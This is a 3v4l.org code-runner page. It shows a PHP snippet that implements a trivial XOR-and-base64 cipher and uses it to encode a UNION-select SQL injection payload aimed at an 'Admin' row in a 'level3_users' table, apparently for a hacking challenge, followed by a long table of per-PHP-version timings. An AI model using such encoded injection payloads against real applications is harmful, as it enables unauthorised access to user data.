3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("qzqsd' union select 1,2,3,4,5,6,7 from level3_users where user='Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00318.30
8.3.50.0140.00821.99
8.3.40.0120.00318.84
8.3.30.0140.00319.08
8.3.20.0060.00320.20
8.3.10.0040.00421.92
8.3.00.0040.00422.30
8.2.180.0040.01116.32
8.2.170.0080.00622.96
8.2.160.0100.00320.27
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0070.00026.16
8.2.120.0000.00819.38
8.2.110.0080.00022.26
8.2.100.0090.00319.45
8.2.90.0040.00419.34
8.2.80.0040.00418.16
8.2.70.0000.00917.50
8.2.60.0040.00418.04
8.2.50.0040.00418.07
8.2.40.0050.00218.34
8.2.30.0040.00418.21
8.2.20.0040.00417.78
8.2.10.0030.00619.59
8.2.00.0000.00717.77
8.1.280.0110.00725.92
8.1.270.0080.00022.05
8.1.260.0080.00026.35
8.1.250.0060.00328.09
8.1.240.0030.00623.82
8.1.230.0000.01119.16
8.1.220.0040.00417.74
8.1.210.0050.00318.77
8.1.200.0000.00917.35
8.1.190.0000.00817.50
8.1.180.0060.00318.10
8.1.170.0050.00318.45
8.1.160.0040.00721.89
8.1.150.0040.00418.59
8.1.140.0090.00017.43
8.1.130.0030.00317.88
8.1.120.0000.00717.33
8.1.110.0040.00417.42
8.1.100.0050.00317.47
8.1.90.0000.00817.41
8.1.80.0040.00417.35
8.1.70.0000.00717.34
8.1.60.0070.00417.53
8.1.50.0060.00317.45
8.1.40.0000.00817.49
8.1.30.0000.00817.64
8.1.20.0040.00417.59
8.1.10.0000.00817.54
8.1.00.0020.00517.50
8.0.300.0040.00418.77
8.0.290.0060.00317.28
8.0.280.0030.00318.41
8.0.270.0070.00017.29
8.0.260.0070.00016.80
8.0.250.0000.00716.98
8.0.240.0080.00016.98
8.0.230.0000.00817.01
8.0.220.0040.00416.86
8.0.210.0030.00316.95
8.0.200.0050.00316.96
8.0.190.0000.00716.98
8.0.180.0040.00416.82
8.0.170.0040.00417.00
8.0.160.0020.00516.97
8.0.150.0020.00516.85
8.0.140.0000.00716.93
8.0.130.0000.00613.42
8.0.120.0040.00416.89
8.0.110.0000.00716.86
8.0.100.0000.00716.80
8.0.90.0070.00016.80
8.0.80.0060.01016.89
8.0.70.0000.00716.80
8.0.60.0000.00716.92
8.0.50.0000.00716.87
8.0.30.0150.00817.04
8.0.20.0070.01117.40
8.0.10.0070.00016.93
8.0.00.0130.00516.76
7.4.330.0050.00015.00
7.4.320.0060.00016.52
7.4.300.0030.00316.54
7.4.290.0000.00816.54
7.4.280.0070.00016.43
7.4.270.0000.00716.56
7.4.260.0070.00016.51
7.4.250.0000.00916.46
7.4.240.0050.00316.61
7.4.230.0030.00316.53
7.4.220.0150.00416.50
7.4.210.0060.01016.61
7.4.200.0040.00416.46
7.4.190.0000.00716.80
7.4.160.0090.00616.47
7.4.150.0090.00917.40
7.4.140.0120.00517.86
7.4.130.0110.00716.46
7.4.120.0120.00516.50
7.4.110.0070.01116.35
7.4.100.0120.00916.54
7.4.90.0150.00316.68
7.4.80.0130.00619.39
7.4.70.0040.01516.41
7.4.60.0110.00616.40
7.4.50.0050.00016.38
7.4.40.0030.01322.77
7.4.30.0110.00616.61
7.4.00.0000.01615.00
7.3.330.0040.00413.21
7.3.320.0000.00613.20
7.3.310.0050.00216.29
7.3.300.0000.00716.39
7.3.290.0130.00716.34
7.3.280.0070.00716.38
7.3.270.0090.00917.40
7.3.260.0130.00616.48
7.3.250.0080.00816.44
7.3.240.0140.00416.72
7.3.230.0070.01316.39
7.3.210.0070.01016.75
7.3.200.0130.00319.39
7.3.190.0150.00616.68
7.3.180.0030.01916.45
7.3.170.0120.00416.58
7.3.160.0120.00416.67
7.3.120.0110.00014.85
7.2.330.0130.00316.79
7.2.320.0110.00816.77
7.2.310.0160.00916.80
7.2.300.0060.01916.79
7.2.290.0030.01316.45
7.2.00.0000.01119.48
7.1.100.0090.00618.16
7.1.70.0000.00717.12
7.1.60.0150.01119.82
7.1.50.0040.01416.87
7.1.00.0030.07722.40
7.0.200.0040.00816.71
7.0.140.0000.07722.09
7.0.60.0270.04021.63
7.0.50.0130.07717.90
7.0.40.0070.07020.11
7.0.30.0070.05020.07
7.0.20.0270.06720.07
7.0.10.0100.08020.06
7.0.00.0000.09020.23
5.6.210.0000.07720.76
5.6.200.0030.08318.23
5.6.190.0030.04320.58
5.6.180.0270.07320.61
5.6.170.0300.05020.45
5.6.160.0070.04020.57
5.6.150.0100.08318.29
5.6.140.0070.05018.18
5.6.130.0070.07318.17
5.6.120.0170.03321.13
5.6.110.0100.08021.15
5.6.100.0170.07321.20
5.6.90.0170.06721.12
5.6.80.0070.08020.41
5.5.350.0270.06720.44
5.5.340.0030.04317.95
5.5.330.0070.05720.47
5.5.320.0230.07020.35
5.5.310.0330.07020.51
5.5.300.0030.08717.95
5.5.290.0130.05318.01
5.5.280.0030.08320.89
5.5.270.0000.04320.64
5.5.260.0030.04020.80
5.5.250.0100.07320.59
5.5.240.0170.03020.13
5.4.450.4330.04719.58
5.4.440.3800.04319.29
5.4.430.3800.03719.52
5.4.420.4000.04319.38
5.4.410.3970.04019.15
5.4.400.4700.03719.21
5.4.390.0930.07319.14
5.4.380.4570.03718.93
5.4.370.3970.04319.22
5.4.360.4800.03319.12
5.4.350.3900.04019.24
5.4.340.3700.03719.11
5.4.320.0100.03719.23
5.4.310.2970.04019.02
5.4.300.4730.03319.21
5.4.290.4470.03718.97
5.4.280.4170.03718.93
5.4.270.3700.03318.95
5.4.260.3630.04019.14
5.4.250.3800.03719.22
5.4.240.3730.03319.14
5.4.230.3900.04019.09
5.4.220.3800.03719.18
5.4.210.3570.04319.14
5.4.200.3800.03719.12
5.4.190.4630.03719.21
5.4.180.4370.03319.18
5.4.170.4370.04019.21
5.4.160.4730.03719.11
5.4.150.4700.03319.20
5.4.140.4930.04016.51
5.4.130.4670.03316.49
5.4.120.4000.03716.39
5.4.110.4000.03316.51
5.4.100.3870.03316.30
5.4.90.3770.03716.51
5.4.80.4130.04016.27
5.4.70.3870.03716.51
5.4.60.3600.03716.49
5.4.50.4630.04016.50
5.4.40.4300.03316.46
5.4.30.4500.03716.42
5.4.20.3800.03716.48
5.4.10.4100.04016.45
5.4.00.3600.03715.94
5.3.290.0030.06714.70
5.3.280.3930.03714.74
5.3.270.4470.03714.76
5.3.260.4430.04314.77
5.3.250.4700.03714.65
5.3.240.4330.03314.50
5.3.230.4730.03314.64
5.3.220.4630.03314.60
5.3.210.3870.03714.49
5.3.200.3630.04014.58
5.3.190.3730.03714.64
5.3.180.4230.04314.72
5.3.170.3700.04314.63
5.3.160.4270.04014.57
5.3.150.5470.03314.60
5.3.140.4200.04314.61
5.3.130.4330.04314.60
5.3.120.4000.03314.71
5.3.110.3770.03714.61
5.3.100.3630.03713.97
5.3.90.4030.03314.10
5.3.80.3830.03714.17
5.3.70.4470.03714.06
5.3.60.3930.03314.01
5.3.50.3770.03713.98
5.3.40.4200.04014.00
5.3.30.3870.03013.95
5.3.20.4630.03313.70
5.3.10.4530.03313.70
5.3.00.5470.03713.65
5.2.170.3130.03311.23
5.2.160.3900.02711.17
5.2.150.3530.02711.16
5.2.140.3870.03011.21
5.2.130.3970.02711.16
5.2.120.4000.02711.00
5.2.110.3970.02311.07
5.2.100.3870.03311.17
5.2.90.3730.02711.11
5.2.80.3600.02311.09
5.2.70.3370.02711.07
5.2.60.3500.03011.21
5.2.50.3930.03011.02
5.2.40.3000.02310.96
5.2.30.3230.03010.93
5.2.20.2830.02710.89
5.2.10.2830.03010.88
5.2.00.3230.02310.69
5.1.60.3200.02710.06
5.1.50.3270.03010.00
5.1.40.3330.0309.99
5.1.30.2700.03010.27
5.1.20.2730.03010.40
5.1.10.2800.0239.98
5.1.00.2570.02710.07
5.0.50.1200.0208.51
5.0.40.1530.0208.47
5.0.30.1830.0338.23
5.0.20.1630.0208.27
5.0.10.1800.0108.10
5.0.00.1570.0378.17
4.4.90.1570.0175.84
4.4.80.1630.0175.79
4.4.70.1470.0175.78
4.4.60.1830.0175.84
4.4.50.1730.0135.91
4.4.40.1830.0275.84
4.4.30.0930.0205.89
4.4.20.1400.0175.96
4.4.10.1200.0175.89
4.4.00.1500.0275.82
4.3.110.1830.0175.82
4.3.100.1800.0175.77
4.3.90.1470.0175.80
4.3.80.1800.0275.69
4.3.70.1730.0135.80
4.3.60.1530.0175.80
4.3.50.1530.0175.70
4.3.40.1400.0205.78
4.3.30.0970.0235.43
4.3.20.1000.0205.43
4.3.10.0770.0175.43
4.3.00.0770.0175.43

preferences:
45.78 ms | 401 KiB | 5 Q